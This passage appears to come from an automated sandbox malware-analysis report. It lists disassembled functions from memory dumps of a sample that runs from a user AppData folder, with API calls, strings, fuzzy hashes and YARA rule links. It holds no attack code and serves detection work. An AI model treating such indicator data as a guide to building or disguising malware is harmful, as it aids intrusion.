Instruction Fuzzy Hash: 842165A170AA82C1FA518B72E4C47AE6368FB88BC4F440176EE4D43B55CF3DD516C760

Function 00007FFBAA4984B0 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 47COMMON

Download Yara Rule

APIs

inet_pton.WS2_32 ref: 00007FFBAA4984EF

Strings

is:inet_pton, xrefs: 00007FFBAA4984CB
illegal IP address string passed to inet_pton, xrefs: 00007FFBAA49850D
unknown address family, xrefs: 00007FFBAA498548

Memory Dump Source

Source File: 00000008.00000002.1952605640.00007FFBAA491000.00000040.00000001.01000000.00000012.sdmp, Offset: 00007FFBAA490000, based on PE: true

Associated: 00000008.00000002.1952566333.00007FFBAA490000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A1000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A3000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A6000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952772594.00007FFBAA4A7000.00000080.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952815760.00007FFBAA4A8000.00000004.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffbaa490000_program.jbxd

Similarity

API ID: inet_pton
String ID: illegal IP address string passed to inet_pton$is:inet_pton$unknown address family
API String ID: 1350483568-903159468
Opcode ID: 26846f0312d1f675127fc7a928663de3b4f9f1fae969a89936cdafc1ca1b6d0b
Instruction ID: 09f0c2191dd6815491ebe0b435c05dfd3c88388275d2758085b6ba9f03c1c9ba
Opcode Fuzzy Hash: 26846f0312d1f675127fc7a928663de3b4f9f1fae969a89936cdafc1ca1b6d0b
Instruction Fuzzy Hash: 4F2130A1A1E942D1FA629F34E4C017D2369FF84B94F900471FD4E826B5DF2DE52AC720

Function 00007FF72C66C5A0 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00007FF72C66C61F
WriteFile.KERNEL32 ref: 00007FF72C66C8E7
WriteFile.KERNEL32 ref: 00007FF72C66C92D
GetLastError.KERNEL32 ref: 00007FF72C66C9E3

Memory Dump Source

Source File: 00000008.00000002.1949252738.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000008.00000002.1949219769.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949294358.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C691000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949418176.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff72c650000_program.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 04e310725d937c0b27e7ac1e6c46040fced781be2c4963351fe3137ba04acc33
Instruction ID: 8b524a3827706a60c711ccd8df38208960b7ce08d737fe9669f057a6b4006148
Opcode Fuzzy Hash: 04e310725d937c0b27e7ac1e6c46040fced781be2c4963351fe3137ba04acc33
Instruction Fuzzy Hash: 17D10672B08E8199E712DF65C8402AC77B3FB647A8B944239DE5E97B85DE3CD006CB50

Function 00007FF72C66CF60 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF72C66CF4B), ref: 00007FF72C66D07C
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF72C66CF4B), ref: 00007FF72C66D107

Memory Dump Source

Source File: 00000008.00000002.1949252738.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000008.00000002.1949219769.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949294358.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C691000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949418176.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff72c650000_program.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: a47a8d54e36ced6583969bea4ac316e5fdc1f02f5f342ddc714eca2f45cad1a1
Instruction ID: dad23c8e41addc558e5eaa13b3d2361447927d0d7230b50109a2f48c02d4c527
Opcode Fuzzy Hash: a47a8d54e36ced6583969bea4ac316e5fdc1f02f5f342ddc714eca2f45cad1a1
Instruction Fuzzy Hash: 0791D632E1865195F752AF669C4027DBBB2FB647A8FA4413DDE0E53684CE3CD442CB20

Function 00007FF72C66F98C Relevance: 6.2, APIs: 4, Instructions: 162COMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF72C66FA7C
_get_daylight.LIBCMT ref: 00007FF72C66FA8D
_get_daylight.LIBCMT ref: 00007FF72C66FA9E
_isindst.LIBCMT ref: 00007FF72C66FB69

Memory Dump Source

Source File: 00000008.00000002.1949252738.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000008.00000002.1949219769.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949294358.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C691000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949418176.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff72c650000_program.jbxd

Similarity

API ID: _get_daylight$_isindst
String ID:
API String ID: 4170891091-0
Opcode ID: 873197461a12b50781dd6dd2a54ab0b7f590f407db75148e336b6c99fa373a01
Instruction ID: e798a9ff5af1f77481553a2b50c57e67a3fc125e8c1208f250ac492d15c85b07
Opcode Fuzzy Hash: 873197461a12b50781dd6dd2a54ab0b7f590f407db75148e336b6c99fa373a01
Instruction Fuzzy Hash: F251F472F042118AFB15EB749D556BCB7A2FB64378FA00239DD1E52AE5DB3DA4028B10

Function 00007FF72C66577C Relevance: 6.1, APIs: 4, Instructions: 119pipeCOMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00007FF72C6657AF
GetFileInformationByHandle.KERNEL32 ref: 00007FF72C665811
GetLastError.KERNEL32 ref: 00007FF72C6658A2
PeekNamedPipe.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF72C6656B4), ref: 00007FF72C6658EE

Memory Dump Source

Source File: 00000008.00000002.1949252738.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000008.00000002.1949219769.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949294358.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C691000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949418176.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff72c650000_program.jbxd

Similarity

API ID: File$ErrorHandleInformationLastNamedPeekPipeType
String ID:
API String ID: 2780335769-0
Opcode ID: 601044899bb77d1db34704472f686b9691880a3163deed0eb7e9945e8072c835
Instruction ID: 456a85463ffdc7f94a5d37425dee7b1e58438086be9ef758e12bc11d0159c845
Opcode Fuzzy Hash: 601044899bb77d1db34704472f686b9691880a3163deed0eb7e9945e8072c835
Instruction Fuzzy Hash: 30518E22E046418AF711EF61D8513BDB7B2FB68B68F644539DB0947B88DF3CD4408B60

Function 00007FF72C6520C0 Relevance: 6.1, APIs: 4, Instructions: 52COMMON

Download Yara Rule

APIs

EndDialog.USER32 ref: 00007FF72C6520F4
SetWindowLongPtrW.USER32 ref: 00007FF72C652116
GetWindowLongPtrW.USER32 ref: 00007FF72C652140
InvalidateRect.USER32 ref: 00007FF72C652160

Memory Dump Source

Source File: 00000008.00000002.1949252738.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000008.00000002.1949219769.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949294358.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C691000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949418176.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff72c650000_program.jbxd

Similarity

API ID: LongWindow$DialogInvalidateRect
String ID:
API String ID: 1956198572-0
Opcode ID: 3f66ec3ad31a24d6b03c6ecd933265a99c2c3f38e7b83c206d3886b5f9d1bb92
Instruction ID: b2b7638f0be3dba353e948db6fc7c658ebe20f7f021b8a8a3537daf0698cbfa2
Opcode Fuzzy Hash: 3f66ec3ad31a24d6b03c6ecd933265a99c2c3f38e7b83c206d3886b5f9d1bb92
Instruction Fuzzy Hash: 0211E931A0C14242F656A769ED4927A9353FFA47E0FD44030DB4907B8DCD2DD4D58A10

Function 00007FF72C65D010 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF72C65D03C
GetCurrentThreadId.KERNEL32 ref: 00007FF72C65D04A
GetCurrentProcessId.KERNEL32 ref: 00007FF72C65D056
QueryPerformanceCounter.KERNEL32 ref: 00007FF72C65D066

Memory Dump Source

Source File: 00000008.00000002.1949252738.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000008.00000002.1949219769.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949294358.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C691000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949418176.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff72c650000_program.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 884c9866f0db1ea4ea3e8c559fd458021c8c8106c035f87ab540984eb8a2d97e
Instruction ID: 9497ebfe237829fba5ad6f0ae8ddd71a8962e52b33c5ec32f40ebd45b48d8dda
Opcode Fuzzy Hash: 884c9866f0db1ea4ea3e8c559fd458021c8c8106c035f87ab540984eb8a2d97e
Instruction Fuzzy Hash: D7114C36B14B068AEB009F60EC452B973A4FB69768F840E31DA2D467A4DF78D1688750

Function 00007FFBA43D3F4C Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FFBA43D3F78
GetCurrentThreadId.KERNEL32 ref: 00007FFBA43D3F86
GetCurrentProcessId.KERNEL32 ref: 00007FFBA43D3F92
QueryPerformanceCounter.KERNEL32 ref: 00007FFBA43D3FA2

Memory Dump Source

Source File: 00000008.00000002.1949877226.00007FFBA43D1000.00000040.00000001.01000000.00000018.sdmp, Offset: 00007FFBA43D0000, based on PE: true

Associated: 00000008.00000002.1949827954.00007FFBA43D0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000008.00000002.1949877226.00007FFBA43DD000.00000040.00000001.01000000.00000018.sdmpDownload File
Associated: 00000008.00000002.1949877226.00007FFBA43E0000.00000040.00000001.01000000.00000018.sdmpDownload File
Associated: 00000008.00000002.1950013415.00007FFBA43E1000.00000080.00000001.01000000.00000018.sdmpDownload File
Associated: 00000008.00000002.1950056718.00007FFBA43E3000.00000004.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffba43d0000_program.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 7ff4e97938adc5bb38bfeebc5981b68ed2a321e3e8e63433a9fab580c5a2b058
Instruction ID: f518955ae72c6ab89e49c4b79d5acea7d3f238b609f02cb841fb182f2bc5b34a
Opcode Fuzzy Hash: 7ff4e97938adc5bb38bfeebc5981b68ed2a321e3e8e63433a9fab580c5a2b058
Instruction Fuzzy Hash: DC111862B19F05CAEB00CB71E8942A833A4FB19758F440E35DE6D467A4EF78D1688340

Function 00007FFBA610ECE0 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FFBA610ED0C
GetCurrentThreadId.KERNEL32 ref: 00007FFBA610ED1A
GetCurrentProcessId.KERNEL32 ref: 00007FFBA610ED26
QueryPerformanceCounter.KERNEL32 ref: 00007FFBA610ED36

Memory Dump Source

Source File: 00000008.00000002.1950129246.00007FFBA6091000.00000040.00000001.01000000.00000016.sdmp, Offset: 00007FFBA6090000, based on PE: true

Associated: 00000008.00000002.1950095632.00007FFBA6090000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950129246.00007FFBA6113000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950129246.00007FFBA6115000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950129246.00007FFBA613D000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950129246.00007FFBA6148000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950129246.00007FFBA6153000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950432020.00007FFBA6157000.00000080.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950478595.00007FFBA6159000.00000004.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffba6090000_program.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: c228ff487a8229492adc3f8944b6875e240ddca761839ed72b11deef452fc955
Instruction ID: 3948a9ecd487428d1dc761b303fba05cb05d0b0ccdd0f8fcb044c447a9a2b7cc
Opcode Fuzzy Hash: c228ff487a8229492adc3f8944b6875e240ddca761839ed72b11deef452fc955
Instruction Fuzzy Hash: 2D114FB2B56F0189EB019B70E8492B837A4F719B58F041E31DE6D87754EF38D1548340

Function 00007FFBAA492EDC Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FFBAA492F08
GetCurrentThreadId.KERNEL32 ref: 00007FFBAA492F16
GetCurrentProcessId.KERNEL32 ref: 00007FFBAA492F22
QueryPerformanceCounter.KERNEL32 ref: 00007FFBAA492F32

Memory Dump Source

Source File: 00000008.00000002.1952605640.00007FFBAA491000.00000040.00000001.01000000.00000012.sdmp, Offset: 00007FFBAA490000, based on PE: true

Associated: 00000008.00000002.1952566333.00007FFBAA490000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A1000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A3000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A6000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952772594.00007FFBAA4A7000.00000080.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952815760.00007FFBAA4A8000.00000004.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffbaa490000_program.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 8abdb046c2d483d6713d37fa3c95cfe7202fcb201bb2e424a1ff1cb05108d538
Instruction ID: eed6ff04755a3c7c0372ff94cdf4b3da5dd5ebc7afe37ba4d543e9d3f9a3f67c
Opcode Fuzzy Hash: 8abdb046c2d483d6713d37fa3c95cfe7202fcb201bb2e424a1ff1cb05108d538
Instruction Fuzzy Hash: FD114C66B15B01CAEB008B71E8842A833A8F758758F040A31EE2D42BA8DF38D1658350

Function 00007FFBA4172E0C Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FFBA4172E38
GetCurrentThreadId.KERNEL32 ref: 00007FFBA4172E46
GetCurrentProcessId.KERNEL32 ref: 00007FFBA4172E52
QueryPerformanceCounter.KERNEL32 ref: 00007FFBA4172E62

Memory Dump Source

Source File: 00000008.00000002.1949490443.00007FFBA4171000.00000040.00000001.01000000.0000001A.sdmp, Offset: 00007FFBA4170000, based on PE: true

Associated: 00000008.00000002.1949454231.00007FFBA4170000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000008.00000002.1949490443.00007FFBA41BA000.00000040.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000008.00000002.1949490443.00007FFBA41C8000.00000040.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000008.00000002.1949490443.00007FFBA4217000.00000040.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000008.00000002.1949490443.00007FFBA421C000.00000040.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000008.00000002.1949490443.00007FFBA421F000.00000040.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000008.00000002.1949749489.00007FFBA4220000.00000080.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000008.00000002.1949783531.00007FFBA4222000.00000004.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffba4170000_program.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 1143ce772416530538e6e632f3059b38426edc2ca8d0a1c1cafe6258f8b28d68
Instruction ID: f5dd40be4297de1d97f205bfc5926cac64a1ba6578a719c8eb84262dc5da65fe
Opcode Fuzzy Hash: 1143ce772416530538e6e632f3059b38426edc2ca8d0a1c1cafe6258f8b28d68
Instruction Fuzzy Hash: 5D113662B16B018AEB01DF70E8852A833A4FB19768F440A31DE2D827A8DF78D1588640

Function 00007FFBA66A2F60 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FFBA66A2F8C
GetCurrentThreadId.KERNEL32 ref: 00007FFBA66A2F9A
GetCurrentProcessId.KERNEL32 ref: 00007FFBA66A2FA6
QueryPerformanceCounter.KERNEL32 ref: 00007FFBA66A2FB6

Memory Dump Source

Source File: 00000008.00000002.1951835790.00007FFBA66A1000.00000040.00000001.01000000.00000014.sdmp, Offset: 00007FFBA66A0000, based on PE: true

Associated: 00000008.00000002.1951780580.00007FFBA66A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000008.00000002.1951835790.00007FFBA66AE000.00000040.00000001.01000000.00000014.sdmpDownload File
Associated: 00000008.00000002.1951835790.00007FFBA66C1000.00000040.00000001.01000000.00000014.sdmpDownload File
Associated: 00000008.00000002.1951835790.00007FFBA66CA000.00000040.00000001.01000000.00000014.sdmpDownload File
Associated: 00000008.00000002.1951835790.00007FFBA66CE000.00000040.00000001.01000000.00000014.sdmpDownload File
Associated: 00000008.00000002.1952036399.00007FFBA66D1000.00000080.00000001.01000000.00000014.sdmpDownload File
Associated: 00000008.00000002.1952071427.00007FFBA66D3000.00000004.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffba66a0000_program.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 76cc7d293dce52ac903e1c4f27db05cd87f84480e9050da05d46ae017720b8e1
Instruction ID: 36c23c7b8bcb1cff61816c579b65caa9009a0693aa33d534a412d4a96bbe3b8c
Opcode Fuzzy Hash: 76cc7d293dce52ac903e1c4f27db05cd87f84480e9050da05d46ae017720b8e1
Instruction Fuzzy Hash: 6D114CA2B15F058AEB008F74EC542A933B4FB18B58F441E31DE2D827A4DF38D1648780

Function 00007FFBA6091A05 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 283COMMON

Download Yara Rule

APIs

00007FFBC92F08A0.API-MS-WIN-CRT-TIME-L1-1-0 ref: 00007FFBA60A0C5B

Strings

..\s\ssl\ssl_asn1.c, xrefs: 00007FFBA60A0ACE, 00007FFBA60A0B53, 00007FFBA60A0B94, 00007FFBA60A0D34, 00007FFBA60A0DAE, 00007FFBA60A0DFA, 00007FFBA60A0E6F
d2i_SSL_SESSION, xrefs: 00007FFBA60A0AC2, 00007FFBA60A0B47, 00007FFBA60A0B88, 00007FFBA60A0DA2

Memory Dump Source

Source File: 00000008.00000002.1950129246.00007FFBA6091000.00000040.00000001.01000000.00000016.sdmp, Offset: 00007FFBA6090000, based on PE: true

Associated: 00000008.00000002.1950095632.00007FFBA6090000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950129246.00007FFBA6113000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950129246.00007FFBA6115000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950129246.00007FFBA613D000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950129246.00007FFBA6148000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950129246.00007FFBA6153000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950432020.00007FFBA6157000.00000080.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950478595.00007FFBA6159000.00000004.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffba6090000_program.jbxd

Similarity

API ID: 00007
String ID: ..\s\ssl\ssl_asn1.c$d2i_SSL_SESSION
API String ID: 3568877910-384499812
Opcode ID: 2a5271567f02ba352d921ff3c4e2fac1e9ecca7785b90009fd4beffc7ef3d7b0
Instruction ID: de036be105624f6a1e98497106aa70c55ef8b1061909f1d919d65ea9891a066f
Opcode Fuzzy Hash: 2a5271567f02ba352d921ff3c4e2fac1e9ecca7785b90009fd4beffc7ef3d7b0
Instruction Fuzzy Hash: A7D16BF2A0AB4696EB66DF35D5802B827A6FB54F84F444036CE1D87795DF38E4A0C310

Function 00007FFBA6091EBF Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 140COMMON

Download Yara Rule

APIs

00007FFBC92F6570.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFBA6099154

Strings

..\s\ssl\d1_srtp.c, xrefs: 00007FFBA609908B, 00007FFBA6099183
ssl_ctx_make_profiles, xrefs: 00007FFBA609907F, 00007FFBA609917A

Memory Dump Source

Source File: 00000008.00000002.1950129246.00007FFBA6091000.00000040.00000001.01000000.00000016.sdmp, Offset: 00007FFBA6090000, based on PE: true

Associated: 00000008.00000002.1950095632.00007FFBA6090000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950129246.00007FFBA6113000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950129246.00007FFBA6115000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950129246.00007FFBA613D000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950129246.00007FFBA6148000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950129246.00007FFBA6153000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950432020.00007FFBA6157000.00000080.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950478595.00007FFBA6159000.00000004.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffba6090000_program.jbxd

Similarity

API ID: 00007F6570
String ID: ..\s\ssl\d1_srtp.c$ssl_ctx_make_profiles
API String ID: 118773457-118859582
Opcode ID: e76ec92c1eceef7b0bbcb8077533a9e54e2e53dd7fd2383ad3f477ea5b2b501f
Instruction ID: b198d296806eee789a9e2e13a784fbb1faf426d7a6dccdc1fe33ec374097a710
Opcode Fuzzy Hash: e76ec92c1eceef7b0bbcb8077533a9e54e2e53dd7fd2383ad3f477ea5b2b501f
Instruction Fuzzy Hash: 7451ADE2F0E64256FA239B31E8453BD5697AF85F84F595431DE0D4BB92DE3CE8928300

Function 00007FF72C675B1C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 121COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF72C671760: _invalid_parameter_noinfo.LIBCMT ref: 00007FF72C671793

_get_daylight.LIBCMT ref: 00007FF72C675C34
_get_daylight.LIBCMT ref: 00007FF72C675C45

Strings

?, xrefs: 00007FF72C675BC5

Memory Dump Source

Source File: 00000008.00000002.1949252738.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000008.00000002.1949219769.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949294358.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C691000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949418176.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff72c650000_program.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo
String ID: ?
API String ID: 1286766494-1684325040
Opcode ID: 34aa9ba053483d92f686c00bb3d23c2ed0895a5cb55bf09a4ef316522e0c30cf
Instruction ID: 2c8d51917cfdedeef6d7a7d46cd1ee7869b08b06d17c0088ae84c53382110e74
Opcode Fuzzy Hash: 34aa9ba053483d92f686c00bb3d23c2ed0895a5cb55bf09a4ef316522e0c30cf
Instruction Fuzzy Hash: B1414912A0838242FB22AB259C52379E762FBA0BB4F944679EE5C07AD5DF3CD445CF10

Function 00007FF72C669014 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF72C669046

Part of subcall function 00007FF72C66A948: HeapFree.KERNEL32(?,?,?,00007FF72C672D22,?,?,?,00007FF72C672D5F,?,?,00000000,00007FF72C673225,?,?,?,00007FF72C673157), ref: 00007FF72C66A95E
Part of subcall function 00007FF72C66A948: GetLastError.KERNEL32(?,?,?,00007FF72C672D22,?,?,?,00007FF72C672D5F,?,?,00000000,00007FF72C673225,?,?,?,00007FF72C673157), ref: 00007FF72C66A968

GetModuleFileNameW.KERNEL32(?,?,?,?,?,00007FF72C65CBA5), ref: 00007FF72C669064

Strings

C:\Users\user\AppData\Roaming\program.exe, xrefs: 00007FF72C669052

Memory Dump Source

Source File: 00000008.00000002.1949252738.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000008.00000002.1949219769.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949294358.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C691000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949418176.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff72c650000_program.jbxd

Similarity

API ID: ErrorFileFreeHeapLastModuleName_invalid_parameter_noinfo
String ID: C:\Users\user\AppData\Roaming\program.exe
API String ID: 3580290477-4122129678
Opcode ID: 652ac8178d02f9bf502bb0dac840cc2c27021cfa98e1c84195502d2d1921a3a9
Instruction ID: f4feaf36a7a1201411cbf3947db74d7d10bf82483e76da0c7c89f30fbfe82c50
